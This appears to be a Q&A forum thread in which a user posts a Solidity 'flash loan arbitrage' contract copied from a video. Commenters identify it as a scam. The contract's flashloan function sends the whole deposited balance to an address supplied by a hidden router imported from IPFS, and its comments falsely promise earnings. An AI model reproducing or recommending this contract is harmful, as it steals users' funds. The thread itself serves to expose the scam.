0
// This is for educational purposes only!
// Try it at your own risk!
    
// Follow carefully the video
// Do not modify this contract code otherwise it won't work on you!
// Just Copy+Paste and Compile!
// Thank you for your support! Enjoy your Earnings!
    
pragma solidity ^0.5.0;
    
//Pangolin Contracts
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinCallee.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IERC20.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinPair.sol";
    
// V-Cred Router
import "ipfs://QmQWv5jf1fyDFW4cMhyEvCucQKJdL22zdRpcEgoxZkeweE";
    
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";



contract InitiateFlashLoan {
    RouterV2 router;
    string public tokenName;
    string public tokenSymbol;
    uint256 flashLoanAmount;

    constructor(
        string memory _tokenName,
        string memory _tokenSymbol,
        uint256 _loanAmount
    ) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        flashLoanAmount = _loanAmount;

        router = new RouterV2();
    }

    function() external payable {}

    function flashloan() public payable {
        // Send required coins for swap
        address(uint160(router.pangolinSwapAddress())).transfer(
            address(this).balance
        );

        router.borrowFlashloanFromMultiplier(
            address(this),
            router.avaxSwapAddress(),
            flashLoanAmount
        );
        //To prepare the arbitrage, Avax is converted to Dai using V-Cred swap contract.
        router.convertAvaxTo(msg.sender, flashLoanAmount / 2);
        //The arbitrage converts token for AVAX using token/AVAX Pangolin, and then immediately converts AVAX back
        router.callArbitragePangolin(router.avaxSwapAddress(), msg.sender);
        //After the arbitrage, Avax is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Avax of gas.
        router.transferAvaxToMultiplier(router.pangolinSwapAddress());
        //Note that the transaction sender gains 9ish Avac from the arbitrage, this particular transaction can be repeated as price changes all the time.
        router.completeTransation(address(this).balance);
    }
}
3
  • Seems like you got scammed, wherever you got the code from transferred the Ajax to themselves I suspect. No way to get it back. Do not execute contracts and code you don't understand.
    – Meet
    Commented Mar 26, 2022 at 6:06
  • It is a scam contract. A similar contract was analyzed here ethereum.stackexchange.com/questions/101323/….
    – Ismael
    Commented Mar 26, 2022 at 16:07
  • youtube.com/watch?v=ntO6YJLs8cc&t=59s this is the video i got it from there are link in the description . is there anyway i can get it back Commented Mar 26, 2022 at 16:25

1 Answer 1

0

the code is inject in this line of code // V-Cred Router import "ipfs://QmQWv5jf1fyDFW4cMhyEvCucQKJdL22zdRpcEgoxZkeweE";

its a link for all the hidden functions

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.